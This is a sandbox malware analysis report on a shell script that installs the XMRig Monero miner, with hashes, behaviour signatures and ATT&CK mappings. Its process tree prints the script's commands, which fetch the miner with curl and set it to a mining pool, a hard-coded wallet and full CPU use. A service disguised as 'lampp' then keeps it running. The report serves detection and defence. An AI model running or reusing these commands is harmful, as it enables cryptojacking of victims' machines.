Analysis

  • max time kernel
    7s
  • max time network
    128s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    01-07-2024 11:28

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:2460
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:2464
      • /usr/bin/nproc
        nproc
        2⤵
          PID:2465
        • /usr/bin/bc
          bc -l
          2⤵
            PID:2468
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:2469
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:2492
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:2493
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:2494
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:2494
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:2494
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:2494
                      • /usr/bin/rm
                        2⤵
                          PID:2495
                        • /usr/bin/sed
                          2⤵
                            PID:2496
                          • /root/lampp/xmrig
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            PID:2497
                          • /usr/bin/sed
                            sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                            2⤵
                              PID:2502
                            • /usr/bin/hostname
                              hostname
                              2⤵
                                PID:2500
                              • /usr/bin/cut
                                cut -f1 -d.
                                2⤵
                                  PID:2501
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                    PID:2503
                                  • /usr/bin/sed
                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                    2⤵
                                      PID:2504
                                    • /usr/bin/sed
                                      sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-12\",/" /root/lampp/config.json
                                      2⤵
                                      • Reads runtime system information
                                      PID:2505
                                    • /usr/bin/sed
                                      sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:2506
                                      • /usr/bin/sed
                                        sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:2507
                                        • /usr/bin/sed
                                          sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                          2⤵
                                            PID:2508
                                          • /usr/bin/sed
                                            sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                            2⤵
                                              PID:2509
                                            • /usr/bin/cp
                                              cp /root/lampp/config.json /root/lampp/config_background.json
                                              2⤵
                                                PID:2510
                                              • /usr/bin/sed
                                                sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                                2⤵
                                                  PID:2511
                                                • /usr/bin/cat
                                                  cat
                                                  2⤵
                                                    PID:2512
                                                  • /usr/bin/chmod
                                                    chmod +x /root/lampp/miner.sh
                                                    2⤵
                                                      PID:2513
                                                    • /usr/bin/sudo
                                                      sudo -n true
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:2514
                                                      • /usr/bin/true
                                                        true
                                                        3⤵
                                                          PID:2515
                                                      • /usr/bin/grep
                                                        grep MemTotal /proc/meminfo
                                                        2⤵
                                                          PID:2517
                                                        • /usr/bin/awk
                                                          awk "{print \$2}"
                                                          2⤵
                                                            PID:2518
                                                          • /usr/bin/cat
                                                            cat
                                                            2⤵
                                                              PID:2519
                                                            • /usr/bin/sudo
                                                              sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:2520
                                                              • /usr/bin/mv
                                                                mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                3⤵
                                                                  PID:2521
                                                              • /usr/bin/sudo
                                                                sudo killall xmrig
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:2522
                                                                • /usr/bin/killall
                                                                  killall xmrig
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:2523
                                                              • /usr/bin/sudo
                                                                sudo systemctl daemon-reload
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:2524
                                                                • /usr/bin/systemctl
                                                                  systemctl daemon-reload
                                                                  3⤵
                                                                    PID:2525
                                                                • /usr/bin/sudo
                                                                  sudo systemctl enable lampp.service
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:2650
                                                                  • /usr/bin/systemctl
                                                                    systemctl enable lampp.service
                                                                    3⤵
                                                                      PID:2651
                                                                  • /usr/bin/sudo
                                                                    sudo systemctl start lampp.service
                                                                    2⤵
                                                                    • Reads runtime system information
                                                                    PID:2776
                                                                    • /usr/bin/systemctl
                                                                      systemctl start lampp.service
                                                                      3⤵
                                                                        PID:2777

                                                                  Network

                                                                  MITRE ATT&CK Matrix ATT&CK v13

                                                                  Defense Evasion

                                                                  Virtualization/Sandbox Evasion

                                                                  2
                                                                  T1497

                                                                  Discovery

                                                                  Virtualization/Sandbox Evasion

                                                                  2
                                                                  T1497

                                                                  System Information Discovery

                                                                  3
                                                                  T1082

                                                                  Command and Control

                                                                  Web Service

                                                                  1
                                                                  T1102

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • /root/lampp/config.json
                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    f3294129e6b76283965ad86a815bf383

                                                                    SHA1

                                                                    5fe0ab538f86962efe82cb13fc2da745610740af

                                                                    SHA256

                                                                    578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                    SHA512

                                                                    07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                  • /root/lampp/miner.sh
                                                                    Filesize

                                                                    253B

                                                                    MD5

                                                                    f96a321a262287ceae164f23f232ed9c

                                                                    SHA1

                                                                    d1eeab41f244b42377afd7cc3de7428736162b24

                                                                    SHA256

                                                                    f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                    SHA512

                                                                    75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                                  • /root/lampp/sedAoRPoz
                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    d489ddbbb83271e967b8af615d17d3c7

                                                                    SHA1

                                                                    f0394a367a60e9727269882154098dec802774ef

                                                                    SHA256

                                                                    5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                    SHA512

                                                                    aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                  • /root/lampp/sedGfN9f7
                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    8b11b027dd187104473ee7d661ffe25f

                                                                    SHA1

                                                                    ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                    SHA256

                                                                    984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                    SHA512

                                                                    1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                                  • /root/lampp/sedSyUafI
                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    36c73a59ba8ccb9535228f5f8c70a76d

                                                                    SHA1

                                                                    64c7efab33dbea5d7446cef248127ffbc5c9934b

                                                                    SHA256

                                                                    9f92c6cfd1f66488ba5f390cbad4b5c27e21ccce018ae52c136cc7d670036ffc

                                                                    SHA512

                                                                    1f979ad608452362e568d2498fb4a8aa090042764780980ecf93b5c555f809dee9fec1868b6020e0481d928c09a4724c89ebc9d26e385480c0bab7142e8e4428

                                                                  • /root/lampp/sedX5oO9E
                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    84938e482a1bc91653c9ce6fb46228f4

                                                                    SHA1

                                                                    c18eee8653221ddd0016e1abbbea29dcc8406f86

                                                                    SHA256

                                                                    fa950285b64b77898efed087ce056d88356562b9971713ee7b6644af937ee5bc

                                                                    SHA512

                                                                    edc7bcfa508226b73a71f6d4eda61d30a209c58e806afe6f4ebdc0f322274f0f0fbad9f79ed4c76fd4ac96cfac55fdff624c6c0644c588c16bf95fbada76cff1

                                                                  • /root/lampp/sedgwD7TG
                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    5e27ba1d9bd55347b20d3bbd334568f2

                                                                    SHA1

                                                                    0814f4860b9b6d083ecf5974ff42b5f0a10d6e84

                                                                    SHA256

                                                                    dc8bdf674fabc3a0df3dff7125644d78a07b9579e2c566e5b9e45897a8c2de30

                                                                    SHA512

                                                                    665ce536ee07afbd93b95e4cd94d94f851e1c5c3802f89c935b54722e7df3ddff688e220fdb59a8aaf43800479fec1686e33e547daa24607ee6351e22af542f0

                                                                  • /root/lampp/sedywXoia
                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    74b4b93f6bec2e498bf375fe161e78b2

                                                                    SHA1

                                                                    269d26ee3eb59b4af5b1a55af487e235746dc2c0

                                                                    SHA256

                                                                    a4915ef1a218910a5f47d8fd98fe3d602217e8138ae4950d9d4443dbdf11b995

                                                                    SHA512

                                                                    9e067eaa6152137350e79b5c0dc8640bd10df642be83a0c16823289a6fa5d58ea578cd8454b6eb8927112813a0c3bcc0e61447ac05330e49aed53a8364354c04

                                                                  • /root/lampp/xmrig
                                                                    Filesize

                                                                    8.4MB

                                                                    MD5

                                                                    ece605504226dd4943f04457b25326e2

                                                                    SHA1

                                                                    db647acd2bee7dbfa6e38c8fc0bbf795fc96f394

                                                                    SHA256

                                                                    65fb5aa9b906d0d797d40d22ca256c6193075e98f18500f4b8cbd20fe3b86702

                                                                    SHA512

                                                                    259c8536509dc0061d5910dbaedb949ca9f5a60c3342ffd32da82a4db89f1a6e2e62ce4f0e8f8ae8c3a5f3c60b9fc2c8abcf41f33aef2dbe8cd1673e21d9c2b1

                                                                  • /tmp/lampp.service
                                                                    Filesize

                                                                    177B

                                                                    MD5

                                                                    540c899b78585827e807a62f7345eaf5

                                                                    SHA1

                                                                    8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                    SHA256

                                                                    b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                    SHA512

                                                                    0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                                  • /tmp/xmrig.tar.gz
                                                                    Filesize

                                                                    3.4MB

                                                                    MD5

                                                                    e003a3ec8bdd61151a61cadf950502c4

                                                                    SHA1

                                                                    2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                    SHA256

                                                                    80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                    SHA512

                                                                    ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9